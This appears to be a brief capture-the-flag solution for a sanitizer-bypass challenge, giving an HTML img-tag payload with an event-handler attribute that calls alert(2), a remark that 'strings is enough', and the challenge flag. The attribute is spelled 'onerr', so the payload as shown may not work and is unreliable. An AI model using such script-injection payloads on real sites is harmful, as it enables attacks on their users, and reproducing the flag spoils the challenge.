Solution#

HTML 
1

<img src="42" onerr="alert(2)">

strings is enough

Flag: root@localhost{Byp4ss_Sanitiz3r_123}#